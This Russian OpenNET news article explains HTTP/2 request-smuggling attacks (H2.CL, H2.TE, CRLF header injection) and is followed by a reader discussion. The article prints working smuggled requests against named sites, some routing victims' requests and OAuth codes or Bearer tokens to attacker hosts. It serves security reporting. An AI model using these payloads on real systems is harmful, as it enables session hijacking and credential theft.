The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Новая атака на системы фронтэнд-бэкенд, позволяющая вклиниться в запросы

07.08.2021 08:08

Web-системы, в которых фронтэнд принимает соединения по HTTP/2 и передаёт бэкенду по HTTP/1.1, оказались подвержены новому варианту атаки "HTTP Request Smuggling", позволяющей через отправку специально оформленных клиентских запросов вклиниваться в содержимое запросов других пользователей, обрабатываемых в том же потоке между фронтэндом и бэкендом. Атака может быть использована для подстановки вредоносного JavaScript-кода в сеанс с легитимным сайтом, обхода систем ограничения доступа и перехвата параметров аутентификации.

Проблеме подвержены web-прокси, балансировщики нагрузки, web-акселераторы, системы доставки контента и прочие конфигурации, в которых запросы перенаправляются по схеме фронтэнд-бэкенд. Автор исследования продемонстрировал возможность атаки на системы Netflix, Verizon, Bitbucket, Netlify CDN и Atlassian, и получил 56 тысяч долларов в программах по выплате вознаграждений за выявление уязвимостей. Наличие проблемы также подтверждено в продуктах F5 Networks. Частично проблема затрагивает mod_proxy в http-сервере Apache (CVE-2021-33193), исправления ожидается в версии 2.4.49 (разработчики были уведомлены о проблеме в начале мая и получили 3 месяца на исправление). В nginx возможность одновременного указания заголовков "Content-Length" и "Transfer-Encoding были блокированы в прошлом выпуске (1.21.1). Средства для проведения атак уже добавлены в инструментарий Burp и доступны в форме расширения Turbo Intruder.

Принцип действия нового метода вклинивания запросов в трафик аналогичен уязвимости, выявленной тем же исследователем два года назад, но ограниченной фронтэндами, принимающими запросы по HTTP/1.1. Напомним, что в схеме фронтэнд-бэкенд запросы клиентов принимает дополнительный узел - фронтэнд, который устанавливает долгоживующее TCP-соединение с бэкендом, осуществляющим непосредственную обработку запросов. Через данное общее соединение обычно передаются запросы разных пользователей, которые следуют по цепочке один за другим с разделением средствами протокола HTTP.

Классическая атака "HTTP Request Smuggling" основывалась на том, что фронтэнды и бэкенды по разному трактуют использование HTTP-заголовков "Content-Length" (определяет общий размер данных в запросе) и "Transfer-Encoding: chunked" (позволяет передавать данные по частям). Например, если фронтэнд поддерживает только "Content-Length", но игнорирует "Transfer-Encoding: chunked", то атакующий может отправить запрос, в котором одновременно указаны заголовки "Content-Length" и "Transfer-Encoding: chunked", но размер в "Content-Length" не соответствует размеру chunked-цепочки. В этом случае фронтэнд обработает и перенаправит запрос в соответствии с "Content-Length", а бэкенд будет ожидать завершения блока на основе "Transfer-Encoding: chunked" и оставшийся хвост запроса атакующего окажется вначале чужого запроса, переданного следом.

В отличие от текстового протокола HTTP/1.1, разбор которого осуществляется на уровне строк, HTTP/2 является бинарным протоколом и манипулирует блоками данных заранее указанного размера. При этом в HTTP/2 используются псевдозаголовки, соответствующие обычным заголовкам HTTP. В случае взаимодействия с бэкендом по протоколу HTTP/1.1, фронтэнд транслирует эти псевдозаголовки в аналогичные HTTP-заголовки HTTP/1.1. Проблема в том, что бэкенд принимает решения о разборе потока уже на основе выставленных фронтэндом HTTP-заголовков, не имея сведений о параметрах изначального запроса.

В том числе в форме псевдозаголовков могут быть переданы значения "content-length" и "transfer-encoding", несмотря на то, что в HTTP/2 они не используются, так как размер всех данных определяется в отдельном поле. Тем не менее, в процессе преобразования запроса HTTP/2 в HTTP/1.1 данные заголовки переносятся и могут ввести в заблуждение бэкенд. Выделяется два основных варианта атаки: H2.TE и H2.CL, в которых бэкенд вводится в заблуждение некорректным значением transfer-encoding или content-length, не соответствующим реальному размеру тела запроса, поступившего к фронтэнду по протоколу HTTP/2.

В качестве примера атаки H2.CL приводится указание некорректного размера в псевдозаголовке content-length при отправке запроса HTTP/2 к Netflix. Данный запрос приводит к добавлению аналогичного HTTP-заголовка Сontent-Length при обращении к бэкенду по HTTP/1.1, но так как размер в Сontent-Length указан меньше фактического, то часть данных в хвосте обрабатывается как начало следующего запроса.

Например, запрос HTTP/2


   :method	POST
   :path	/n
   :authority	www.netflix.com
   content-length	4
   abcdGET /n HTTP/1.1
   Host: 02.rs?x.netflix.com
   Foo: bar

Приведёт к отправке бэкенду запроса:


   POST /n HTTP/1.1
   Host: www.netflix.com
   Content-Length: 4

   abcdGET /n HTTP/1.1
   Host: 02.rs?x.netflix.com
   Foo: bar

Так как Content-Length имеет значение 4, то бэкенд воспримет в качестве тела запроса только "abcd", а остальную часть "GET /n HTTP/1.1..." обработает как начало следом идущего запроса, привязанного к другому пользователю. Соответственно, произойдёт рассинхронизация потока и в ответ на следом идущий запрос будет выдан результат обработки подставного запроса. В случае с Netflix указание стороннего хоста в заголовке "Host:" в подставном запросе привело к выводу клиенту ответа "Location: https://02.rs?x.netflix.com/n" и позволило передать клиенту произвольное содержимое, в том числе выполнить свой JavaScript-код в контексте сайта Netflix.

Второй вариант атаки (H2.TE) связан с подстановкой заголовка "Transfer-Encoding: chunked". Использование псевдозаголовка transfer-encoding в HTTP/2 запрещено спецификацией и запросы с ним предписано трактовать как некорректные. Несмотря на это, некоторые реализации фронтэндов не учитывают данное требование и допускают использование псевдозаголовка transfer-encoding в HTTP/2, который преобразуется в аналогичный заголовок HTTP. При наличии заголовка "Transfer-Encoding" бэкенд может воспринять его более приоритетным и выполнить разбор данных по частям в режиме "chunked" с использованием блоков разного размера в формате "{размер}\r\n{блок}\r\n{размер}\r\n{блок}\r\n0", несмотря на изначальное разделение по общему размеру.

Наличие подобной бреши было продемонстрировано на примере компании Verizon. При этом проблема касалась портала аутентификации и системы управления контентом, которая также используется на таких сайтах как Huffington Post и Engadget. Например, запрос клиента по HTTP/2:


   :method	POST
   :path	/identitfy/XUI
   :authority	id.b2b.oath.com
   transfer-encoding	chunked 
   0

   GET /oops HTTP/1.1
   Host: psres.net
   Content-Length: 10

   x=

Приводил к передаче бэкенду запроса HTTP/1.1:


   POST /identity/XUI HTTP/1.1
   Host: id.b2b.oath.com
   Content-Length: 66
   Transfer-Encoding: chunked

   0

   GET /oops HTTP/1.1
   Host: psres.net
   Content-Length: 10

   x=

Бэкенд, в свою очередь, игнорировал заголовок "Content-Length" и выполнял разделение в потоке на основе "Transfer-Encoding: chunked". На практике атака позволила перенаправить запросы пользователей на свой сайт и в том числе перехватить запросы, связанные с аутентификацией OAuth, параметры которых светились в заголовке Referer, а также симулировать сеанс аутентификации и инициировать отправку системой пользователя учётных данных на хост атакующего.


   GET /b2blanding/show/oops HTTP/1.1
   Host: psres.net
   Referer: https://id.b2b.oath.com/?…&code=secret

   GET / HTTP/1.1
   Host: psres.net
   Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Для атаки на реализации HTTP/2, не допускающие указание псевдозаголовка transfer-encoding, был предложен ещё один метод, связанный с подстановкой заголовка "Transfer-Encoding" через его прикрепление к другим псевдозаголовкам с разделением символом перевода строки (при преобразовании в HTTP/1.1 в подобном случае создаётся два отдельных HTTP-заголовка).

Например указанной проблеме оказались подвержены Atlassian Jira и Netlify CDN (используется для отдачи стартовой страницы Mozilla в Firefox). В частности, запрос HTTP/2


   :method	POST
   :path	/
   :authority	start.mozilla.org
   foo	b\r\n
   transfer-encoding: chunked
   0\r\n
   \r\n
   GET / HTTP/1.1\r\n
   Host: evil-netlify-domain\r\n
   Content-Length: 5\r\n
   \r\n
   x=

приводил к отправке бэкенду запроса HTTP/1.1


   POST / HTTP/1.1\r\n
   Host: start.mozilla.org\r\n
   Foo: b\r\n
   Transfer-Encoding: chunked\r\n
   Content-Length: 71\r\n
   \r\n
   0\r\n
   \r\n
   GET / HTTP/1.1\r\n
   Host: evil-netlify-domain\r\n
   Content-Length: 5\r\n
   \r\n
   x=

Ещё одним вариантом подстановки заголовка "Transfer-Encoding" стало прикрепление его к имени другого псевдозаголовка или к строке с методом запроса. Например, при обращении к Atlassian Jira имя псевдозаголовка "foo: bar\r\ntransfer-encoding" со значением "chunked" приводило к добавлению HTTP-заголовков "foo: bar" и "transfer-encoding: chunked", а указание в псевдозаголовке ":method" значения "GET / HTTP/1.1\r\nTransfer-encoding: chunked" транслировалось в "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Выявивший проблему исследователь также предложил технику туннелирования запросов для совершения атаки на фронтэнды, в которых для каждого IP-адреса устанавливается отдельное соединение с бэкендом и трафик разных пользователей не смешивается. Предложенная техника не позволяет вклиниваться в запросы других пользователей, но даёт возможность отравить общий кэш, влияющий на обработку других запросов, и позволяет выполнить подстановку внутренних HTTP-заголовков, используемых для передачи служебных сведений от фронтэнда к бэкенду (например, при аутентификации на стороне фронтэнда в подобных заголовках бэкенду могут передаваться сведения о текущем пользователе). В качестве примера применения метода на практике при помощи отравления кэша удалось получить контроль за страницами в сервисе Bitbucket.

  1. Главная ссылка к новости (https://portswigger.net/resear...)
  2. OpenNews: Проект Geneva развивает движок для автоматизации обхода цензурирования трафика
  3. OpenNews: Атака на системы фронтэнд-бэкенд, позволяющая вклиниться в сторонние запросы
  4. OpenNews: HTTP-заголовок Alt-Svc может применяться для сканирования портов внутренней сети
  5. OpenNews: RangeAmp - серия атак на CDN, манипулирующая HTTP-заголовком Range
  6. OpenNews: Уязвимость, позволяющая совершить MITM-атаку через манипуляцию с HTTP-заголовком Proxy
Лицензия: CC-BY
Тип: Интересно / Проблемы безопасности
Короткая ссылка: https://opennet.ru/55601-smuggling
Ключевые слова: smuggling, http2, proxy, attack
Поддержать дальнейшую публикацию новостей на OpenNET.


Обсуждение (158) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Аноним (1), 12:32, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –9 +/
    Ой, ну надо же, http взломали, как удивительно. (Нет.)
     
     
  • 2.28, Аноним (28), 18:05, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Атака может быть использована для подстановки вредоносного JavaScript-кода

    Ой, ну надо же отключать JS.

     
     
  • 3.83, Аноним (-), 12:32, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Идея хорошая, но вебмакаки понаделали js-only крапа. И кстати это не поможет от приколов когда бэкэнд сливает вам ответ для совсем другого юзера, например. Так что кто-то может стырить кучу инфо о посторонних юзерах и их запросах. Судя по описанию - при удачном раскладе могут даже номера чужих кредиток или какие-нибудь секретные коды присылать на раз.

    p.s. LOL! LOL! LOL! LOL! TROLL! TROLL! TROLL! TROLL!

    Исследователей с их рыготой самих в процессе поимели, как и пентестеров с этим нечто :)



    We have updated Burp Suite's embedded browser to fix a clickjacking-based remote code execution bug in Burp Suite


     
  • 2.33, хакер (?), 19:57, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • –5 +/
    интересно кто самый дырявый - си или js
     
     
  • 3.42, ананим.orig (?), 20:52, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +11 +/
    прокладку не рассматриваешь?
    а ник у тебя - просто "лэйбла" такая?
     
     
  • 4.71, And (??), 11:53, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Скорее всего проблема в помойке node репо библиотек для JS и культуре коммерческой разработки.

    За что чмырят JS, это часто даёт похожее на сабж: дописали "клёвую" дублирующую функциональность не имея опыта и желания. Дубляж функциональности и разделение/трансформирование старого-нового - хороший и известный признак для поиска уязвимости.

     
     
  • 5.86, Аноним (-), 12:37, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А может быть проблема в том что не надо код писать ж@пой, качая половину интернета, от хрен знает кого, писаного хрен знает как? А еще неплохо бы использовать мозг при написании программ.

    Это касается вообще любого ЯП. И даже как видим не только яп. Упомянутая проблема на ЯП не завязана и возникает из-за гейтования протоколов. Свойства протоколов довольно разные, и на их стыке случается весьма интересное взаимодействие, когда первые понимают вторых не так как задумано. Это очень старый класс багов, не очень известный, но потенциально очень мощный по эффектам. Подобный класс багов позволяет обмануть системы на тему того с кем они имеют дело и левай Вася может быть на раз принят за админа, например.

     

  • 1.2, Anonymouse (?), 12:36, 07/08/2021 Скрыто модератором [﹢﹢﹢] [ · · · ]
  • +11 +/
     
     
  • 2.4, OnTheEdge (ok), 12:40, 07/08/2021 Скрыто модератором
  • +7 +/
     
     
  • 3.16, Аноним (16), 13:34, 07/08/2021 Скрыто модератором
  • +4 +/
     
     
  • 4.19, Аноним (19), 13:49, 07/08/2021 Скрыто модератором
  • –5 +/
     
  • 2.17, Admin (??), 13:40, 07/08/2021 Скрыто модератором
  • +1 +/
     

     ....ответы скрыты модератором (4)

  • 1.3, Онаним (?), 12:38, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Уродство HTTP/2 таки выстрелило.
    То ли ещё будет с HTTP/много, которые вообще не HTTP.
     
     
  • 2.11, Аноним (11), 13:08, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +9 +/
    Так-то выстрелило уродство HTTP1, если почитать новость.
     
     
  • 3.14, Онаним (?), 13:15, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Выстрелило уродство трансляции полубинарного уродства SPDY в HTTP.
     
     
  • 4.22, Аноним (22), 14:53, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    О да, лучше нормальный plain-text HTTP, от которого, правда, все отказались в пользу HTTPS, в котором из текста только вызов метода CONNECT.
     
     
  • 5.30, Michael Shigorin (ok), 19:13, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • –9 +/
    Да-да-да, стройными колоннами побежали и отказались, никто не "стимулировал".
     
     
  • 6.87, Аноним (-), 12:39, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А кто стимулировал? Серваки заимплементившие фичу и повышение скорости загрузки сайтов? Вот уж зло вселенское.
     
     
  • 7.120, Аноним (22), 14:32, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Серваки заимплементившие фичу и повышение скорости загрузки сайтов?

    Verisign, без вопросов отбирающий домены у оппозиционных СМИ.
    Cloudflare, который немного навязчиво продвигает свои услуги (на предыдущей работе нам сначала прилетела DDoS-атака, а через пару дней - коммерческое предложение от этой милой компании).

     
     
  • 8.128, Аноним (-), 04:09, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Это как И что этим СМИ мешает хостить сайты где-нибудь подальше от такой фирмы,... большой текст свёрнут, показать
     
  • 5.39, Онаним (?), 20:43, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Внутри хытыпысы внезапно всё тот же гипертекстовый фидонет.
     
     
  • 6.53, Аноним (22), 01:22, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    То есть, если внутри бинарного кода буквы, то он уже не бинарный? Ну тогда и HTTP/2 тоже небинарный (аки гендер у гражданина свободной страны).
     
     
  • 7.59, Онаним (?), 09:16, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ты не понял.
    SSL при обработке 1:1 разворачивается до исходного протокола, являясь только трансформацией.
     
     
  • 8.81, Аноним (22), 12:27, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    То есть, если я в SNI напишу левое имя хоста, это никак не повлияет на работу HT... текст свёрнут, показать
     
     
  • 9.105, Онаним (?), 13:39, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Нет Только на согласование соединения HTTP внутри декриптится до исходного в л... текст свёрнут, показать
     
     
  • 10.114, Аноним (22), 14:13, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Получается, SNI на практике ни на что не влияет, а значит - вообще не нужен Вот... текст свёрнут, показать
     
     
  • 11.123, Онаним (?), 19:29, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Сфейспалмил SNI к HTTP - ВНЕЗАПНО - не имеет никакого отношения D... текст свёрнут, показать
     
     
  • 12.129, Аноним (-), 04:12, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Веб сервак может иметь свое мнение на этот счет И кстати интересно, не вылезет ... текст свёрнут, показать
     
     
  • 13.142, Аноним (-), 12:19, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Веб сервак обычно только правильный сертификат подбирает, смотря на SNI ... текст свёрнут, показать
     
  • 8.102, Аноним (102), 13:32, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не обязательно См пример на том сайте как это bitbucket делал, там могли бэку ... текст свёрнут, показать
     
     
  • 9.106, Онаним (?), 13:40, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Подшивать к TLS можно чего угодно - проблемы ССЗБ шерифа не волнуют Важно то, ч... текст свёрнут, показать
     
     
  • 10.130, Аноним (-), 04:15, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Однако вон те хаксоры вполне себе стырили внутренние хидеры и в конце концов тож... текст свёрнут, показать
     
  • 9.107, Онаним (?), 13:41, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А вот из H2 H1 простой трансформацией уже не получить, что и есть источник пробл... текст свёрнут, показать
     
  • 7.60, Онаним (?), 09:17, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Для преобразования HTTP/2 же в HTTP/1 по сути требуется полная реконструкция, простой трансформации нет - и как раз это и вызывает обсуждаемую проблему.
     
     
  • 8.72, And (??), 11:56, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Именно А разрабы попытались таки не делать нормально и попробовали частично 2 о... текст свёрнут, показать
     
     
  • 9.74, Онаним (?), 12:00, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну да, казалось бы должна была быть просто трансформация, потому что разработан... текст свёрнут, показать
     
  • 5.43, ананим.orig (?), 20:56, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > plain-text HTTP, от которого, правда, все отказались в пользу HTTPS

    всех отказали тогда уж.

    не переживай, будет и 3-я, и 4-я волна.
    это же удобно.

     
  • 3.25, all_glory_to_the_hypnotoad (ok), 17:03, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это рукожопость разработчиков прокси ибо такие атаки очевидны и им сразу же нужно было уделять должное внимание.
     
     
  • 4.40, Онаним (?), 20:44, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Это рукожопость разработчиков бинарного протокола, которые решили, что те же CRLF в хедерах теперь новая нормальность. С фига бы.
     
     
  • 5.41, Онаним (?), 20:46, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    (упреждая: угу, бинарному протоколу фиолетово. но забыли о сути HTTP - передача собственно текстовых сообщений, в которых переводы строк - неизбежное зло. за бинарным протоколом ещё серверы этих текстовых сообщений сидят, которым тот же CRLF внутри одного хедера тоже не особо спёрся)
     
     
  • 6.89, Аноним (-), 12:45, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Для эпичного ламо намекну: там упомянуты варианты этих атак работающие на чистом HTTP/1, который они не первый год практикуют. В случае HTTP/2 они просто попробовали по аналогии - и это прокатило, с превышением.
     
  • 3.108, Онаним (?), 13:43, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Если уж совсем просто - H2 не стоило называть HTTP/2, это не HTTP.
     
  • 2.88, Аноним (-), 12:44, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Уродство HTTP/2 таки выстрелило.

    Вообще-то там текстовость HTTP/1.1 дурят жестко и это проблема HTTP1.

    А если тот сайт еще и почитать, да еще используя мозги, можно узнать, что они там оказывается рядом атаковали и чистый HTTP/1.1 похожими методами, вообще без участия HTTP/2. Используя разное понимание фронтом и бэком длины запроса, например. Что в HTTP/1 сделано довольно дурно и дальше кому-то что-то совершенно левое в запрос врезается, потому что бэк уверен что все уже сжевал, а там какая-то добавка, которая может быть принята за новый запрос например, или префикс к нему.

    Последнее позволяет пришить совершенно постороннему лоху какой-нибудь интересный редирект на свой сервак, а он какое-нибудь инфо утечет. Или скрипт ему подгрузить. Вариантов много.

     
     
  • 3.104, Онаним (?), 13:36, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    H2 на бэках конкретно у нас упорно не приживается.
    Основная причина - возможность в пределах одного коннекта открыть овердохера произвольных процессов/тредов в динамике, это всё приходится зажимами лимитировать, и честно говоря - проще вынести на фронт, вынеся все лимиты на стык, где потоки уже преобразованы в последовательные на H1.
     
     
  • 4.131, Аноним (-), 04:37, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Жирные корпы тоже, вот, думали сэкономить Некоторые даже конопатили эти CVE раз... большой текст свёрнут, показать
     

     ....большая нить свёрнута, показать (32)

  • 1.5, Аноним (5), 12:42, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Т.е. они одним сплошным потоком байтов слали подряд разные запросы а потом надеялись что смогут разбить их обратно на части?
    Они похоже не читали статей где говорится о важности выбора разделителя и что самым надёжным будет разделять записи через набор символов !йух! .
     
     
  • 2.6, пох. (?), 12:49, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    они читали много статей где п-делось о страшных и ужастных ЗАДЕРЖКАХ при открытии tcp сессии (особенно в рамках одного и того же локалхоста).
    И героически поебдили ненужную проблему.

     
     
  • 3.35, kissmyass (?), 20:14, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    так разве для HTTP 1.0 не открывается новое соединение на каждый запрос?

    или это особенность всякие reverse-proxy?

     
     
  • 4.38, Онаним (?), 20:43, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Открытие соединения по сравнению с ожиданием ответа от серверов - копеечная операция, на самом деле. Ну и 1.0 давно почит, в 1.1 в пределах одного соединения может быть несколько операций.
     
     
  • 5.47, kissmyass (?), 21:56, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Открытие соединения по сравнению с ожиданием ответа от серверов - копеечная операция,
    > на самом деле. Ну и 1.0 давно почит, в 1.1 в
    > пределах одного соединения может быть несколько операций.

    ну тогда либо прокси должен валидировать HTTP заголовки либо пусть форсит открытие нового соединения, странно что такие ребята типа nginx проморгали

     
     
  • 6.63, Онаним (?), 09:49, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Многие проморгали, потому что гугели свой SPDY в виде H2 запихивали в индустрию ломиком, не оставляя времени на масштабное тестирование. Следующая итерация неадекватизма под названием QUIC - на подходе, и её пытаются впихнуть ещё быстрее, чем H2. На деле же оба по сути не нужны, keepalive от 1.1 вполне достаточно. За спидами-кваками лежит только одно: желание сократить число открытых портов на фронтах у обленившихся.
     
     
  • 7.73, anonymous (??), 11:57, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Дело тут не в открытых сессиях (сессии надо и в QUIC отслеживать, то есть это не даёт экономии). Дело именно в задержках. И да, QUIC действительно позволяет сократить задержки. Особенно у всяких мобильных пользователей.
     
  • 5.64, пох. (?), 11:05, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    причем и то и другое копеечные операции по сравнению с ожиданием модного-современного gpu рендеринга и тонны скриптов.

     
     
  • 6.65, Онаним (?), 11:15, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не, ну там основной идеей вмазывалось "мыжыможым статический коньтент подгрузить асинхронно пока сервер кушает". А второй коннект открыть в походе за статическим контентом - это уже всё, немодномолодёжно, обязательно надо ещё что-то внутри протокола херовертить.
     
     
  • 7.69, пох. (?), 11:26, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > А второй коннект открыть

    ЗАДЕРЖКИ!!!! ("уминядвепалоски!")

    (то что они миллисекундные на фоне _секунд_ как минимум на собственно скачивание - смузижорам неведомо - у них внутри гугля везде уже 100G прямо до ноута обезьянки-разработчика)

     
     
  • 8.132, Аноним (-), 04:41, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    И тем не менее, кпд канала может получиться довольно издевательским Особенно ес... текст свёрнут, показать
     
  • 6.66, Онаним (?), 11:16, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Самое же прекрасное, что у этих же почитателей смузи в итоге статический коньтент ныне размазан по десятку CDN'ов, и одним коннектом они так и так не обходятся.
     
     
  • 7.68, пох. (?), 11:24, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    и вот там уже задержки вполне видны, поскольку это новая tls сессия на каждый jquery.js с каждого особенного cdn
    (хотя, разумеется, они ничто по сравнению с тем что начнется, когда оно его наконец-то скачает и запустит)

     
  • 5.90, Аноним (-), 12:48, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Открытие соединения по сравнению с ожиданием ответа от серверов - копеечная операция,

    Не совсем. Ведет к выделению ресурсов на сокет в операционке, а закретие соединения далеко не мгновенное и при большом количестве запросов сокеты ожидающие закрытия могут основательно подвыжрать лимит числа файлов/сокетов, пригрузить conntrack, если он есть, etc.

    > пределах одного соединения может быть несколько операций.

    Да, там рядом клевые примеры что с chunked можно делать. И как можно фронты и бэки на-о-бывать. Даже без HTTP2 вообще, чего уж.

     
     
  • 6.101, Онаним (?), 13:31, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ну я как бы в курсе, в практике и 1000 запросов в секунду на динамику - не предел.
    Другое дело, что там, где начинается хайлоуд, это всё по уму горизонтально масштабируется, и не надо извращаться с мультиплексированием внутри простого как доска протокола.
     
     
  • 7.133, Аноним (-), 04:47, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Теоретически да Практически - установка и завершение TCP все же не халявные, и ... большой текст свёрнут, показать
     
  • 6.103, Онаним (?), 13:34, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Про chunked пожалуй соглашусь, данное счастье требует некоторой аккуратности.
    С другой стороны то, что с H2->H1 происходит, рядом с chunked не лежало и не ползало.
     
     
  • 7.134, Аноним (-), 04:48, 09/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Про chunked пожалуй соглашусь, данное счастье требует некоторой аккуратности.
    > С другой стороны то, что с H2->H1 происходит, рядом с chunked не
    > лежало и не ползало.

    Это судя по виду лишь усиленная и заапгрейженая версия атак которые они на HTTP/1 практиковали, используя разное видение мира фронтом и бэком и там.

     

  • 1.7, Аноним (7), 12:52, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Полное вымирание сайтов http - вопрос времени
     
     
  • 2.91, Аноним (-), 12:56, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Полное вымирание сайтов http - вопрос времени

    Они как умные клавы решили смухлевать и прицепить HTTP/1 бэк малой кровью. При том на этом погорели весьма жирные конторы.

     

  • 1.8, Аноним (8), 12:57, 07/08/2021 Скрыто модератором [﹢﹢﹢] [ · · · ]
  • –4 +/
     
     
  • 2.23, Аноним (22), 14:55, 07/08/2021 Скрыто модератором
  • +/
     

  • 1.9, Онаним (?), 12:59, 07/08/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Радует пока одно: у меня на фронтах немолодёжный haproxy, новый парсер которого по-человечески разбирает и перебирает запросы перед отдачей в бэкенды. В старом парсере до 2.0.6 были проблемы, ну так старый парсер для h2 в здравом уме юзать было сложно.
     
     
  • 2.10, пох. (?), 13:04, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    нет ножек (ненужно/2) - нет проблемы.

    P.S. обратить внимание на нашествие в комменты м-ков "экспертов" борцунов с http.

     
     
  • 3.12, Онаним (?), 13:13, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Я бы им вместо http sip с rtp посоветовал, но жалко бедняжек.
     
  • 3.100, Аноним (-), 13:28, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > P.S. обратить внимание на нашествие в комменты м-ков "экспертов"

    Фига, пох сам себя, затарил, не в бровь а в глаз.

     
  • 2.31, Alexey Chernyavskiy (?), 19:14, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Переходи на Traefik
     
     
  • 3.37, Онаним (?), 20:40, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Пасибо, я столько смузи в одно рыло не сожру.
     
     
  • 4.48, онанимус (?), 23:01, 07/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    тогда переходи на Envoy
     
     
  • 5.52, Аноним (22), 01:20, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не, там думать надо.
     
  • 5.61, Онаним (?), 09:22, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Когда смузихлёбы добираются до C - у них выходит ещё хуже, чем если бы они на своих гошечках писали.

    Ну и вообще, какой смысл на что-то переходить, если haproxy отлично справляется со своей задачей? Модность и молодёжность? Всякие борингэсэсэли, люфты и прочее нечитаемое? См. выше - очень радует, что не модно, и не молодёжно.

     
     
  • 6.82, Аноним (22), 12:30, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > haproxy отлично справляется со своей задачей

    Разработчики haproxy с вами не согласятся, судя по тому, что они пилят dataplaneapi (попытка сделать аналог envoy из haproxy, обмазанного дендрофeкальными материалами).

     
  • 5.62, Онаним (?), 09:24, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Абсолютно угрёбищный конфиг умноженный на абсолютно угрёбищную документацию - да, это то, о чём я всю жизнь мечтал. По ним можно примерно предположить, что там внутри в архитектуре этого барбершопа.
     
     
  • 6.75, anonymous (??), 12:02, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Когда-нибудь вы уйдёте в High Load и в такой, где нужны submillisecond ответы от сервиса, и тут вы поймёте почему haproxy вам уже не хватает. И почему TCP вам не подходит by design.
     
     
  • 7.79, Онаним (?), 12:12, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Не жрите больше столько, умоляю. High Load - это не субмиллисекундные ответы, далеко нет.
    И если у вас для нормальной работы сервиса требуются субмиллисекундные ответы - я бы уже посоветовал начать руковыпрямительную машинку собирать.
     
  • 7.80, Онаним (?), 12:24, 08/08/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
